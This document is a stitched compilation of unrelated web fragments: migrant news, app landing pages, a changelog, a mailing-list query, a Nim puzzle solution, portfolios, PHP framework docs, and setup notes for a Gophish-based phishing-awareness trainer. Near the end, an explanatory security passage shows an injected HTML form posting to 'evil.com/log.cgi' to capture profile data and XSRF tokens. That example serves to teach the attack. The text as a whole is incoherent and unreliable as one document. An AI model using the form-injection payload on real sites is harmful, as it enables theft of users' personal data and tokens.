Essex Police detectives last month said they wanted to speak to two brothers - also from Northern Ireland - about the case and urged them to hand themselves in.
READ: UK truck victim families take on loans to repatriate remains to Vietnam
READ: Who are the Vietnamese feared dead in UK truck tragedy?
Many of the victims were from impoverished central Vietnam, where the main source of income is from fishing, farming or factory work.
Many families took on thousands of dollars of debt to send their children to Britain, in the hope they would land good jobs and send money back to pay off the loans.
The incident has laid bare the dangers of illegal migration in Britain, where Vietnamese nationals have often found work in nail bars or illegal cannabis farms.


CureOrCurse
On your routine chores, do you witness a scene viz, drunken brawl, road rash, traffic incident, theft, damage to public property- just take a moment to capture it and click Cure or Curse. Clicking 'Cure' button sends a message to the respective department. Clicking 'Curse' button sends the photo to the facebook page of CureOrCurse.
Capture
Load Image
Date/Time
Lat/Long
Description
Image


--- layout: page title: About header: About Fellgernon Bit group: navigation tagline: Fellgernon Bit permalink: "about.html" --- {% include JB/setup %}
Welcome to Fellgernon Bit! It's my academic corner in this bit-world to pretty much share stuff I find interesting. I'll post my comments on news, science in general, Biostatistics, R & Bioconductor, genomics, etc ^_^.
Feel free to visit my academic website.


2.2.3
- Font lookup is now case-insensitive, preventing unwanted removal of fonts
that are used (thanks to @thomas-mcdonald).
2.2.2
- Removed a dependency on
flatten
.
- Performance tweaks; now performs a single AST pass instead of four.
2.2.1
- Now compiled with Babel 6.
2.2.0
- Added a new option to remove
@namespace
rules (thanks to @plesiecki).
2.1.0
- Added options to customise what the module discards (thanks to @TrySound).
2.0.0
1.0.3
- Improved performance by reducing the amount of AST iterations.
- Converted the codebase to ES6.
1.0.2
- Fixes an integration issue where the module would crash on
undefined
rule.nodes
.
1.0.1
- Fixes an issue where multiple animations were not being recognized.
1.0.0


Guard Harlan:
Have you brought the ingredients for the fantasy wine?
I'll need 80 leaves of eucalyptus from the
Enku Orc champions
and 100 stones of chill from the
Enku Orc shamans
.


[gecode-users] posting of expressions
Kish Shen
kisshen at cisco.com
Tue Jul 13 16:56:57 CEST 2010
Hi,
As I have mentioned in my previous posts, I have been rewriting the code
for handling expressions for the ECLiPSe interface to Gecode. I am
wondering if there are any performance advantages in different ways of
handling certain special cases of expressions, like sum.
I had some special code that handled summation of variables using linear:
linear(*solver, vars, rel, sum)
where vars in IntVarArgs, sum is int (although I guess it could be
generalised to IntVar as well), and rel is IntRelType.
This code does not seem to be used at the moment, I assumed I had it to
handle some specific ECLiPSe code that I wanted to run quickly with the
interface.
Instead, such summed expressions are now handled through the general
expression handling code, and passed to Gecode as a LinRel through
minimodel. The sum is passed as a series of +, e.g. A+B+C rather than
using sum of a IntVarArg, because the code was written for Gecode 3.0.2,
which I don't think supported sum.
Is it more efficient to use the more specialised linear to post such
expressions, and is it more efficient to use sum in LinExpr rahter than
a series of +?
Thanks in advance for any information!
Cheers,
Kish
--
This e-mail may contain confidential and privileged material for the
sole use of the intended recipient. Any review, use, distribution or
disclosure by others is strictly prohibited. If you are not the intended
recipient (or authorized to receive for the recipient), please contact
the sender by reply e-mail and delete all copies of this message.
Cisco Systems Limited (Company Number: 02558939), is registered in
England and Wales with its registered office at 1 Callaghan Square,
Cardiff, South Glamorgan CF10 5BT.
More information about the users
mailing list


Makes use of annotations to provide configuration metadata
are intrusive - pollute code
can be overridden by XML configuration
configuration is spread across classes - code harder to understand
faster development
You can define beans only via @Component or derivatives.
Other annotations just provide configuration metadata for bean creation, bot not the
BeanDefinition blueprint.


Legal issues regarding securities tokens
- Bitquant Research
- Joseph Wang<EMAIL_ADDRESS>What I'm trying to do
- Create new products for emerging markets
- Open up emerging markets
- Add in STO plugin to tokenize existing funds
Not too concerned with regulatory issues
- Use existing regulatory frameworks
- Not pinned to particular jurisdiction. Because I'm in HK
and not US or EU, I can move across jurisdictions
- Regulatory limits are on sales, marketing, and exchange. If
I can sell, market, or exchange anywhere I don't have an
issue.
- Regulatory is secondary to business issues. If the business
doesn't make sense, no point is thinking about regulatory.
Am concerned about legal issues
- What exactly do I own?
- How do I know what I own, and that I've sold it
- How do I convince someone that they own something?
- What happens if something goes wrong (and this includes things
outside of the token)
Gold coins versus casino chips
- ICO/cryptocurrencies are fundamentally different from STO's
- If I have a gold coins (or bitcoin), that item has inherent
value outside of external reference.
- If I have casino chips (or security tokens), that item is
inherently worthless, and has value only if it is linked to some
external item.
- Legal issues
- If I give you the keys to my car, I may or may not have
given you my car
- How do I know that the keys that I've given you are for my
car, and how do I prevent someone from changing the locks or
just taking the car?
Possession versus ownership
- Posssession involves control over an asset - See Part 4 of
the Swiss Civil Code
- Ownership involves legal relationships
- Possession is more important with ICO's/Cryptocurrencies.
Ownership is vital for STO's.
- How is ownership transferred?
- Magic words and magic stares.
- Sometimes there are required legal steps to transfer ownership


Toggle navigation
A road safety solution
About
PEDESTRIAN DENSITY SCANNER
'Pedestrian safety is a two way street. Take charge of your safety'-SAFE PEDESTRIAN CROSSING
DESIGN
60
About


Criteria for Inclusion
The first version of the Accessibility Object Model specification is not intended to be complete. It is currently impossible to make some web features accessible, so the primary goal is to resolve immediate needs quickly for existing, inaccessible web interfaces. The specification editors are purposefully deferring many useful ideas in order to maintain a realistic timeline for highest priority features.
In order for features to be considered within scope for 1.0, the following criteria must be met:
- The feature addresses a critical accessibility need that is either impossible to solve, or one whose solution is so tedious to implement that even accessibility-conscious developers avoid remediation. [Note: Some non-critical features may be included if they are side effects of, or trivial to implement because of, work included to support another critical feature.]
- The feature addresses the accessibility of a very commonly used technique or technology. Examples of the problematic usage should exist on major web applications or many other web sites.
- The feature has been considered for privacy impact. [Note: It is possible the spec will mandate that privacy considerations must be addressed before partial implementations ship in browsers.]
- The feature is considered critical for the 1.0 release by at least two of the Accessibility Object Model [AOM] editors, representing two browser manufacturers.
External contributors wishing to submit new features or ideas for consideration should include the following as a new
GitHub Issue:
- Title and explanation of the problem
- Existing possibilities for remediation (if they exist)
- Demonstrable pain points caused by the lack of this feature, or by the currently available technique to address the problem this feature would solve.
- Optional, but desired: Complete or partial test cases, code examples, or browser user agent patches demonstrating implementability.


Amazon partners with BookMyShow to sell movie tickets
All the cinemas and theatres listed on Amazon.in for this category will be powered exclusively by BookMyShow.
Amazon India and BookMyShow, on November 2, announced a partnership to bring in a new category for movie ticketing on the former’s platform.
With this integration, Amazon customers can use the Amazon app to buy a movie ticket. They can pay using their Amazon Pay balance, Amazon Pay ICICI Credit Card, Amazon Pay UPI or other digital payment methods.
Amazon.in users can log onto the app or mobile site to book their tickets from the ‘movie tickets’ category under ‘shop by category’ or the Amazon Pay tab.
Within the same app, customers will get downloadable movie tickets and see all Amazon Pay transactions in one place.
All the cinemas and theatres listed on Amazon.in for this category will be powered exclusively by BookMyShow.
According to reports, the BookMyShow and Amazon partnership is a five-year deal.
There is also good news for those who have ICICI Amazon Pay credit card as they can earn two percent cashback as monthly statement rewards when they buy movie tickets on Amazon.in.
The partnership means the coming together of two big platforms. On one hand there is BookMyShow which is present in over 650 towns and cities, with over 6,000 screens to choose from.
On the other, Amazon India’s deep penetration across tier II and III cities will mean more access to people looking out for out-of-home entertainment options.
Amazon’s reach will be significant for BookMyShow as it is taking efforts to reach a wider audience. While BookMyShow gets around 200 million visits on the web and mobile platforms combined, the major traction is still from top 25-odd cities.
As for Amazon, the partnership could mean more traction on Amazon's payment wallet, Amazon Pay.Special Thursday Expiry on 10th 7th Nov
Early Closure to The Great Diwali Discount. Last Chance to get Moneycontrol PRO for a year @ Rs. 289/- only
Coupon code: DIWALI


Day 7: Handy Haversacks
General strategy
The solution will be in 5 parts:
- colors: I will use global variables
- parse a single rule: manual parsing (no regex, no npeg - tried but did not succeed at first try)
- reversing the rules: while parsing the rules I will also create the mapping from a color to its direct containers.
- solve part 1: recursive
- solve part 2: recursive
1. Colors
I am going to use two global variables names and colors. Here are the functions needed for them.
I do not know why I set Color = distinct int
, it is probably unnecessary and just complicates stuff.
type
Color = distinct int ## # why not use a distinct type to make our life a little bit messier?
Names = seq[string]
Colors = OrderedTable[string, Color]
var
names: Names
colors: Colors
proc addColor(name: string) =
if name not_in names:
names.add name
let i = names.len - 1
colors[name] = i.Color
proc `$`(c: Color): string =
names[c.int] ## I take advantage that names is global
proc toColor(s: string): Color =
colors[s]
template resetGlobals() =
## to reset the globals (after solving for the example)
names = @[]
colors = initOrderedTable[string, Color]()
addColor "shiny gold" ## always will be the 0.Color
resetGlobals
dump 0.Color
dump toColor("shiny gold")
dump names
## later on I will put Color in a table. You need this or you will get a rather cryptic error message
proc `==`(a, b: Color): bool {.borrow.}
0.Color = shiny gold toColor("shiny gold") = shiny gold names = @["shiny gold"]
What is a Rule and how to parse it
note that parseRule does use the globals names
and colors
.
I did try first with npeg, but I am still missing stuff,
so for the moment I will keep to with manual parsing (parseUntil
for the win!).
type
Rule = tuple[col: Color, cons: Contents]
Contents = seq[tuple[qty: int, col: Color]]
proc parseRule(text: string): Rule =
var
col: string
cons: string
qty: int
let
i = parseUntil(text, col, " bags")
j = " bags contain ".len
discard parseUntil(text, cons, ".", start = i + j)
addColor col
result.col = col.toColor
for con in cons.split(", "):
if con == "no other bags":
break
let i = parseInt(con, qty)
discard parseUntil(con, col, " bag", start = i + 1)
addColor col
result.cons.add (qty, col.toColor)
echo parseRule "light red bags contain 1 bright white bag, 2 muted yellow bags."
echo parseRule "bright white bags contain 1 shiny gold bag."
echo parseRule "faded blue bags contain no other bags."
echo names
echo colors
(col: light red, cons: @[(qty: 1, col: bright white), (qty: 2, col: muted yellow)]) (col: bright white, cons: @[(qty: 1, col: shiny gold)]) (col: faded blue, cons: @[]) @["shiny gold", "light red", "bright white", "muted yellow", "faded blue"] {"shiny gold": shiny gold, "light red": light red, "bright white": bright white, "muted yellow": muted yellow, "faded blue": faded blue}
reversing the rules
while parsing the rules I will also create the mapping from a color to its direct containers.
I do not know why I create a PuzzleInput
type but I like how it looks in proc signatures.
The parsing is finally applied to the example.
I will reuse the variables rs
and dc
.
type
PuzzleInput = string
Rules = OrderedTable[Color, Contents]
DirContainers = OrderedTable[Color, seq[Color]]
proc parse(p: PuzzleInput): (Rules, DirContainers) =
var
r: Rule
rs = initOrderedTable[Color, Contents]()
dc = initOrderedTable[Color, seq[Color]]()
for line in p.splitLines:
r = parseRule line
rs[r.col] = r.cons
for con in r.cons:
if con.col not_in dc:
dc[con.col] = @[r.col]
elif con.col not_in dc[con.col]:
dc[con.col].add r.col
for col in colors.keys:
if col.toColor not_in dc:
dc[col.toColor] = newSeq[Color]()
return (rs, dc)
let example = """light red bags contain 1 bright white bag, 2 muted yellow bags.
dark orange bags contain 3 bright white bags, 4 muted yellow bags.
bright white bags contain 1 shiny gold bag.
muted yellow bags contain 2 shiny gold bags, 9 faded blue bags.
shiny gold bags contain 1 dark olive bag, 2 vibrant plum bags.
dark olive bags contain 3 faded blue bags, 4 dotted black bags.
vibrant plum bags contain 5 faded blue bags, 6 dotted black bags.
faded blue bags contain no other bags.
dotted black bags contain no other bags.""".PuzzleInput
var (rs, dc) = parse example
echo "Rules:"
for k, v in rs:
echo k, ": ", v
echo "DirContainers:"
for k, v in dc:
echo k, ": ", v
Rules: light red: @[(qty: 1, col: bright white), (qty: 2, col: muted yellow)] dark orange: @[(qty: 3, col: bright white), (qty: 4, col: muted yellow)] bright white: @[(qty: 1, col: shiny gold)] muted yellow: @[(qty: 2, col: shiny gold), (qty: 9, col: faded blue)] shiny gold: @[(qty: 1, col: dark olive), (qty: 2, col: vibrant plum)] dark olive: @[(qty: 3, col: faded blue), (qty: 4, col: dotted black)] vibrant plum: @[(qty: 5, col: faded blue), (qty: 6, col: dotted black)] faded blue: @[] dotted black: @[] DirContainers: bright white: @[light red, dark orange] muted yellow: @[light red, dark orange] shiny gold: @[bright white, muted yellow] faded blue: @[muted yellow, dark olive, vibrant plum] dark olive: @[shiny gold] vibrant plum: @[shiny gold] dotted black: @[dark olive, vibrant plum] light red: @[] dark orange: @[]
Solve part 1
with a short and careful recursion (note I keep variable ac
in each recursive call).
output for real input will come later (so that I reset once the globals)
type
AllContainers = OrderedSet[Color]
proc allContainers(c: Color; dc: DirContainers; ac: var AllContainers) =
for cx in dc[c]:
if cx in ac:
ac.incl cx
else:
ac.incl cx
allContainers(cx, dc, ac)
var ac: AllContainers
(0.Color).allContainers(dc, ac)
echo ac
{bright white, light red, dark orange, muted yellow}
Solve part2
Showing first solving for the example.
I like the indentation trick I used to debug the solution, so I leave it visible.
var ind = 0
proc reqBags(c: Color; rs: Rules): int =
ind += 2
## echo ("color: " & $c).indent(ind)
## echo ("contents: " & $(rs[c])).indent(ind)
for con in rs[c]:
result += con.qty
result += con.qty * (reqBags(con.col, rs))
## echo ("result: " & $result).indent(ind)
ind -= 2
echo "reqBags(example): ", (0.Color).reqBags(rs)
reqBags(example): 32
Getting the stars
Solutions for my puzzle input
let input = "2020/input07.txt".readFile.PuzzleInput
resetGlobals
ac = initOrderedSet[Color]() ## I need to reset this one too.
(rs, dc) = parse input
(0.Color).allContainers(dc, ac)
echo "part1: ", ac.len
echo "part2: ", (0.Color).reqBags(rs)
part1: 124 part2: 34862


Welcome to the JavaScript Quiz. This quiz will test your knowledge in JavaScript.
Copyright© 2018 Berthe


split super swanky homes around the world
Your Submission is live! Here's what it looks like:
Price Per Room: {{ item['fields']['Price'] }}
Rooms Available: {{ item['fields']['Rooms'] }}
Travel Dates: {{ item['fields']['Start'] }} through {{ item['fields']['End'] }}
Allowed gender(s): {{ item['fields']['Genders'] }}
Share your listing with potential rommates


| MATLAB 文件帮助: cv.SuperResolution | 查看 cv.SuperResolution 的代码 | Index |
SuperResolution Class for a whole family of Super Resolution algorithms
The Super Resolution module contains a set of functions and classes that can be used to solve the problem of resolution enhancement. There are a few methods implemented, most of them are descibed in the papers [Farsiu03] and [Mitzel09].
superres = cv.SuperResolution();
superres.Scale = 2; % 2x scale
superres.Iterations = 10; % careful alg is computationally expensive!
superres.setOpticalFlow('FarnebackOpticalFlow', 'LevelsNumber',3);
superres.setInput('Video', 'video.avi');
while true
tic, frame = superres.nextFrame(); toc
if isempty(frame), break; end
imshow(frame), drawnow
end
[Farsiu03]:
Sina Farsiu, Dirk Robinson, Michael Elad, and Peyman Milanfar. "Fast and robust super-resolution". In Image Processing, 2003. ICIP 2003. Proceedings. 2003 International Conference on, volume 2, pages II-291. IEEE, 2003.
[Mitzel09]:
Dennis Mitzel, Thomas Pock, Thomas Schoenemann, and Daniel Cremers. "Video super resolution using duality based tv-l 1 optical flow". In Pattern Recognition, pages 432-441. Springer, 2009.
| Superclasses | handle |
| Sealed | false |
| Construct on load | false |
| SuperResolution | Create Bilateral TV-L1 Super Resolution |
| Alpha | Parameter of spacial distribution in Bilateral-TV. |
| BlurKernelSize | Gaussian blur kernel size. |
| BlurSigma | Gaussian blur sigma. |
| Iterations | count. |
| KernelSize | Kernel size of Bilateral-TV filter. |
| Labmda | Weight parameter to balance data term and smoothness term. |
| Scale | factor. |
| Tau | Asymptotic value of steepest descent method. |
| TemporalAreaRadius | Radius of the temporal search area. |
| id | Object ID |
| addlistener | Add listener for event. | |
| collectGarbage | Clear all inner buffers | |
| delete | Destructor | |
| eq | == (EQ) Test handle equality. | |
| findobj | Find objects matching specified conditions. | |
| findprop | Find property of MATLAB handle object. | |
| ge | >= (GE) Greater than or equal relation for handles. | |
| getOpticalFlow | Dense optical flow algorithm | |
| gt | > (GT) Greater than relation for handles. | |
| Sealed | isvalid | Test handle validity. |
| le | <= (LE) Less than or equal relation for handles. | |
| lt | < (LT) Less than relation for handles. | |
| ne | ~= (NE) Not equal relation for handles. | |
| nextFrame | Process next frame from input and return output result | |
| notify | Notify listeners of event. | |
| reset | Reset the frame source | |
| setInput | Set input frame source for Super Resolution algorithm | |
| setOpticalFlow | Dense optical flow algorithm |
| ObjectBeingDestroyed | Notifies listeners that a particular object has been destroyed. |


Fade Shawl
Pattern: Find Your Fade by Andrea Mowry
Yarns:
- Skeinny Dipping - Cannonball Sock, Frostbite
- Neighborhood Fiber Co. - Studio Sock, Basquiat
- Manos del Uruguay - Fino, Rosewater
- Skeinny Dipping - Cannonball Sock, Tea Leaves
- MadelineTosh - Merino Light, Glazed Pecan
- Skeinny Dipping - Cannonball Sock, Tea Leaves
- Dirty Water Dye Works - Lillian, Cocoa
Completed: 17 August 2017


Comprehensive Selection
Mesosphere, Rancher, Wordpress, Elasticsearch, MongoDB, the list goes on and on.
Proven at Scale
With AWS partner certification and deployments in tier 1 digital companies, we tick every box on architecture and security best practices so you don’t have to.
Still In Your Control
An open source approach to infrastructure means being able to take the technology into your own hand while at the same time having an easier time sourcing talents to meet the growing complexity.


When you run jobs that require TCP/IP ports (such as for testing purpose) in a machine with multiple executors, multiple jobs that just so happen to run at the same time may interfere with each other by using the same TCP/IP port.
You can avoid such a conflict by manually assigning unique TCP/IP ports to every job on Hudson, but that will quickly get very tedious. This feature solves this problem by letting Hudson do the bookkeeping and allocate unique port numbers.
To use this feature, list up such TCP ports by giving them names. Before the build starts, Hudson will allocate unique ports and pass them as environment variables to the build. For example, if you add ABC_PORT and DEF_PORT, you can access them like echo $ABC_PORT from your build.
By choosing the right TCP port type, you can make Hudson do the clean up processing. This is particularly useful for taking care of run-away daemon processes.
This feature also allows jobs to require a certain fixed port. For example, if your job is testing a mail server, where you'd require port 25 and no other ports would do, then simply add 25 as the name, so that Hudson can make sure that no two jobs that require the same port will run on the same node concurrently.


Health And Fitness
abcdgj 19, 841 02 hgghggh
India -Mumbai
<EMAIL_ADDRESS>abcdgj 19, 841 02 hgghggh
India -Mumbai
<EMAIL_ADDRESS>Elevated cholestrol and increse blood pressure are two of the top risk factors for heart disease and stroke.
Fast food is typically sodium-heavy,which can elevated blood pressure or aggravate existing heart disorders,including congestive heart failure.
Even though you amy think you're eating "healthy" you may still undestimate the number of calories you're consuming .This can lead to unintentional weight gain.


I started as a gameplay programmer using Unreal Engine 4 in C++.
Then I found my path through Tech Art that opened my career to different languages such as C#, Substance's YML, WPF, WinForms, Maxscript, Python, Qt.
I usually adapt to whatever the production needs as best as I can to ensure that I can deliver whatever the project needs.
Working with different engines since I started in the field of Game Development.
It's my passion to learn more about how Game Engines work and the tech behind their architecture.
These include CryEngine V, Unreal Engine 4, Unity, Cocos2dx, Construct3, and of course our own proprietary game engine Anvil.
As a Technical Artist, I learned to work with different digital content creation tools together with the help of our team of artists of course!
I'm able to write tools that make day-to-day tasks easier and more efficient.
3ds Max, Maya, Substance Painter, Substance Designer, Photoshop, and more...
Not only do I learn about tools but I also learned a lot of things along the way.
Project Management softwares like Jira and Asana.
Writing my own documentation using Confluence.
An ofcourse learning a lot of production centric tools like Perforce, Git, and many other techniques used in Game Development
Feel free to reach out to these people below.
Expert Graphics Technical Director
Ubisoft Singapore
Lead Artist
Ubisoft Philippines
Technical Artist
Ubisoft Singapore
Gameplay Programmer
Myrkur Games
Principal Engine Programmer
Compulsion Games


{% extends "translator/base.html" %}
{% block body %}
{% if not apps %}
{{ title }}
No app found
{% else %}
{{ title }} translations
This page retrieves the information from the MongoDB server to show which applications are translated. What you see here is what Shindig should be rendering.


Toggle navigation
Menu
FindMyRestro
Sign-out
account_circle
Sign-in with Google
Find the best restaurants, cafés, and bars in Hartford
Filter


Cervical cancer policy evaluation
Vaccination scheme
Screening scheme
Results
Logout
Results
Back to home
Line Chart
Model is beign processed
Policy costs
Model is beign processed


My nickname is dxta . I’m 22 years young developer, having over 1 years’ experience in back-end web development and cloud services development. I’m currently acting as an internship/researcher at High Performance Computing Center and graduating a Engineer of Computer Science at Hanoi University of Science and Technology.
I’m a creative and enthusiastic developer and I love what I do. I’m passionate about new technology.
During 3 years, I have worked with many different people on various projects and as a result, i have learned lots of experience in the IT field and generally - life. You can see all of my works here . Currently, I am researching about building a Database as a Service solution in CloudStack.
When I’m not busy coding or researching, I’m usually thinking about music, travelling, customizing motorcycle and bike, reading news, sporting, jogging with my dogs. I customized a stunning tracker motorcycles, i also have a beautiful fixed gear bicycle. I am currently planning a project for my next new motorcycle and bicycle.
CONTACT
Email<EMAIL_ADDRESS>Tel: +84 904 889 960
Twitter: @dx_ta
Github: @DxTa
CV: Download my CV
For one want to know me more
Here are 21 random things about me:
- Call me Duc.
- I was born in hanoi.
- I’m interested in parallel universe theory.
- I have raised 3 dogs: Zace, Bean, Beto.
- I know how to train dogs, how to take care of dogs, how to breed dogs.
- I’m 1m72.
- I like to be a mechanic in my freetime.
- My first motor is Suzuki GN125, I customized it by myself.
- I know how to ride a fixed gear bicycle.
- I like to eat bread with nutella.
- My favorite soccer team is Arsenal.
- I’m ninja in googling :D
- I love Indoor sport, like billiard and table tennis.
- I drive a tracker motorcycle, sometimes i ride a fixed gear bicycle
- I ‘ve attempted to learn 2 different languages: english and japanese.
- I am angry when someone disturbing me while i am focusing something.
- I love foods, i can eat every kind of foods in the world.
- I currently live in hanoi.
- I like traveling, hiking.
- I like watching cartoon movies.
- I love reading fiction novels.


Total Employees Entered: {{totalEmployeesEntered}}
Income:
Per pay period: {{model.salary | currency}}
Yearly: {{annulalIncome | currency}}
Contributions:
Per pay period: {{monthlyCost | currency}}
Yearly: {{model.expense.annual | currency}}
Name :
Employee: {{model.employee}}
DependantsAnnual Income Annual Bennefits
paycheck Income annual benenfits
paycheck Income paycheck benenfits


GAUSS Engine
0.4.0
Language bindings for the GAUSS Engine
Class Hierarchy
Go to the textual class hierarchy
Generated on Wed Mar 9 2022 09:09:17 for GAUSS Engine by
1.9.1


Crypto NYC is a community, coworking space and app studio based in downtown Brooklyn, dedicated fulltime to blockchain technologies including Bitcoin and Ethereum. Our focus is on people first and technology second. We are a hardworking group of engineers, designers, and schemers passionate about the blockchain and excited about its potential. If you're interested in joining us, drop us a line at<EMAIL_ADDRESS>or apply now!
Located in Brooklyn, right off the A, C, F, and G lines.
If you're interested in visiting the space, drop us a line to schedule a visit. We also hold weekly events. Enter your email address below so we can keep you in the loop about blockchain-related events, both at CryptoNYC and throughout the city.
Join our Telegram group chat by clicking here.
If you are interested in joining CryptoNYC as a member, please fill out this form to get started.


Welcome to Connections
The purpose of this application is the intelligent and graphical joining of tables. With the Connections Project you can easily visualize all tables and, theoretically, find connections between data sets that aren't entirely obvious. You, the user, can explore yourself with Exploration mode or you can let our computers do the work with our Computer-Guided Learning.
This project was created by Alex Ball, Brian Sandman, Charley Lewittes, Jeremy Choi, Joseph Dyer, Kara Isakson, Nati Abebe, Preston Haynes, Shehan Jayasinghe, and Tai Zheng as part of the University of Maryland's Software Engineering course.
This application is indented to be used by University of Maryland students, faculty and staff. If you not do not have valid credentials, please contact the developers to request access.
Login


Before you get going, you'll need to log in with your delicious account. There is no trick here and you don't have to worry with your personal data. Due Delicious public feed constraints, using the API was the only work-around I found in order to get things working properly.
The following the list is your tag list with only unique values. Click in the tags you want to merge and follow the step 3 instructions
(these tags will be merged to the new value above. click to remove)


- Contents
Directory Structure #top
Ness PHP's directory structure is not confusing. All folders and paths organised hierarchically and described clearly with folder names. You can clearly understand at a glance which folder is for what. Here is a short description for each folder available in Ness PHP project.
index.php: This file is the most important file of your application, we can call it entry point for your application. All configurations and url analyzes are made here for first time.
app_config.php: This files contains some configurations of your project
composer.json: Required for composer.
Ness: This folder contains core framework files and core framework code of the Ness PHP. You can use files in this path to extent the framework.
Application: All your project resources are available in this path. You can write your application's code in the required paths described below.
Application/Content: This folder contains some sub folders for some resources like; images, style sheets, javascript files, html widgets and file upload path for using with ContentManager class which is described in this documentation. You can use ContentManager for including each file type in your project with a single line of code.
Application/Config: This folder is used to store some user-created configuration files. You can create any class or variable in Config path then load to your app with Ness PHP's Library class.
Application/Language: Define language files for creating multilingual applications with help of Ness PHP Language helper class.
Application/Library: Sometimes you will need to use third party codes or your own classes. In this case you must put all third party libraries here to include them in your code. Ness PHP has a function to load libraries when you need.
Application/Model: Used to store 'Model' classes.
Application/Output: This folder contains 3 text files. This files are automatically generated by your code and holds the Errors, Warnings and output messages.
Application/Template: Ness PHP framework has a templating engine. if you want to avoid code repetition you can create a template and use them with your views. All your html templates must be located in this folder. Please read topic related to template engine for getting more.
Application/View: View files of your application must be in this folder. You can use sub folders to separate the parts of your website.
Application/Controller: All your controllers should be in this folder. When you make a request, according to your url the framework will find a controller to respond.
URL Structure #top
Ness PHP framework generates URLs automatically by analyzing your controllers. There is no need to write Routes in Ness PHP. By this way you can gain time while your projects. Just create a controller and controller's actions for creating meaninful urls in Ness.
http://www.examplesite.com/ [controller] / [method] / [parameter]
Example Controller
<?php
use Ness\Controller as myController;
class indexController extends myController
{
public function indexAction($param = 0)
{
$this->View->Render('startpage.php');
}
public function printAction($param = 'Hello World')
{
$this->Content->Render("Hey your parameter is; {$param}");
}
}
If we navigate to http://www.examplesite.com/ or http://www.examplesite.com/index the indexAction runs. If we navigate to http://www.examplesite.com/print the output will Hey your parameter is;, if we navigate to http://www.examplesite.com/print/hello the output will; Hey your parameter is; hello


--- layout: post title: Fort Riley date: '2016-08-30T08:12:00+02:00' categories: - Sketchbooks - Sketches picture_url: https://film-Storyboards.tumblr.com/post/149698466791/fort-riley-1860s-rough-sketch ---
Fort Riley, 1860’s. Rough sketch.


Doggify
Toggle navigation
Suggestions
Go To The Generator!
What is this?
This is just a simple website to generate
dog
images in the browser.
Examples:


Plover, Learn!
Lesson 1: One-Syllable Words
Lesson 1: Consonant Clusters
Lesson 2: Wheres the TRUFT?
Lesson 2: Dropping Unstressed Vowels
Lesson 2: Inversion
Lesson 3A 1: The Fifth Vowel Key
Lesson 3A 2: Long Vowel Chords
Lesson 3A 3: Dipthong Chords
Lesson 3A 4: Vowel Disambiguator Chords
Lesson 3B: The Missing Keys
Lesson 3C: The Remaining Single Letters
Lesson 3C: Including Sounds from Previous Lessons
Lesson 3D: Digraphs
Lesson 3D: Including Sounds from Previous Lessons
Lesson 3E: Common Compound Clusters
Lesson 3E: Including Sounds from Previous Lessons
Lesson 3F: Fingerspelling!
Lesson 4A: Common briefs 1-20
Lesson 4B: Common briefs 21-40
Lesson 4C: Common briefs 41-60
Lesson 4D: Common briefs 61-80
Lesson 4E: Common briefs 81-100
Lesson 5A: Prefixes
Lesson 5B: Suffixes
Lesson 5C: Prefix Compounds
Lesson 5D: Suffix Compounds
Questions or comments? Contact lars dot doucet at gmail dot com
Confused? These drills are for use with Plover, which is part of the Open Steno Project.
This page is a fork of Erika Nesse's original work, made with permission
Source code:
HaxePloverLearn (this version)
PloverLearn (Erika's version)
Plover image credit: Charadrius-melodus-004.jpg taken by Mdf via Wikimedia Commons.


Settings
General settings
Docker API URL:
Docker API port:
Docker Unix socket:
Dockerhub settings
Dockerhub username:
Dockerhub password:
Docker connection
HTTP
Unix Socket
Save
Configuration saved successfully!
There was a problem saving your configuration!


Authorization Required
Mapper needs to be authorized to read files from your Google Drive.
Click below to allow access to read files and install an 'Open with Mapper' option in Google Drive.
Mapper only has access to files you open with it and only within your browser session. Everything stays local.
Note: You may need to disable any pop-up blockers.
Mapper only has access to files you open with it and only within your browser session. Everything stays local.
Note: You may need to disable any pop-up blockers.


Help
In order to set up all to have everything up and running in a test environment, this is the checklist to follow.
The deployment in production is out of scope of the following instructions.
1. Install Gophish as per instructions in the website.
2. Set up the config.json file for Gophish as per your needs checking the information in the link above. Example of
file in folder docs in the project_root package.
3. Once Gophish is up and running, open the URL in your browser and change the API key
as indicated here.
You will not need to get access to GoPhish directly anymore, but copy the key since you will use it for VeraPhish configuration.
4. Install python in case you do not have it yet.
5. Install the GoPhish API for python as per instructions in here.
6. Install the Django framework.
7. Place VeraPhish files package in a place reachable for your Python and Django installation.
9. Configure cfg files for both apps (phishing and surveys), in the /modules/config/ folder
(SETAphish.cfg and SETAsurvey.csg respectively). There are examples for everything
in /docs within the project_root package, and you will have to use the Gophish API
key you wrote down in #3 so that all match.
10. All views in the app are only for admins (login required), except: main page
which is dynamic, static views (help, about, license, contact), and the make survey link
(so that users can be trained without logging in). Hence, you will need to create
a superuser before starting to use the app (executing "python manage.py createsuperuser")
in the main directory of the app. Alternatively, you could uncomment the Register link in
the login view, but it is not very recommendable since anyone could create their own users
while answering surveys.
11. Execute python manage.py runserver from a terminal in the main app directory, and you
are good to go with some testing (this tutorial is not intended to show how to set up a
production environment/server. You will have to take care of SSL certificates,
spam filtering when sending phishing emails..., etc).
12. Logical testing steps would be: within the Pishing section of the web app, create at least
an user group, an email template page, a landing page, an SMTP profile and a phishing campaign.
Later you can go to the Survey section and create a survey template, and a training survey
based on the phishing campaign created earlier, or on the target group itself (first option will
leverage on phishing results to build the A-score indicator, which will not be available otherwise).
Example files where needed are in folder /docs within the project_root package, but I think using
the webapp is quite self-explanatory.
13. Database handling: all Gophish objects (user groups, email and landing page templates,
SMTP profiles and phishing campaigns), are stored within Gophish database, whereas Survey templates,
Trainings launched and related User answer objects are within Django database. Even though
all actions can be performed from the app itself, django database objects can be manipulated
directly from the admin panel, which can be useful for testing
(e.g. in "http://<IP_ADDRESS>:8000/admin/" if you ran the server with "python manage.py runserver").
That should be all. Let me know if anything is unclear or I am missing
something. Perhaps is worth mentioning I made all the development and testing in a
windows 10 workstation.
Óscar
{% include "SETA_gophish/footer.html" %}


Another exfiltration opportunity is afforded by a peculiar property of HTML: The <form> tag can't be nested, and the top-level occurrence of this markup always takes precedence over subsequent appearances. This allows the attacker to change the URL to which any existing form will be submitted, simply by injecting an additional form definition in the preceding portion of the document:
<form action='http://evil.com/log.cgi'> ← Injected line
...
<form action='update_profile.php'> ← Legitimate, pre-existing form
...
<input type="text" name="real_name" value="John Q. Public">
...
</form>
This attack is particularly interesting when used to target forms automatically populated with user-specific secrets - as would be the case with any forms used to update profile information, shipping or billing address, or other contact data; form-based XSRF tokens are also a possible target.


Featured Work
Portfolio Site
Responsive website with images, links and descriptions for projects made in Udacity Full-Stack Nanodegree.
View projectLog Analysis
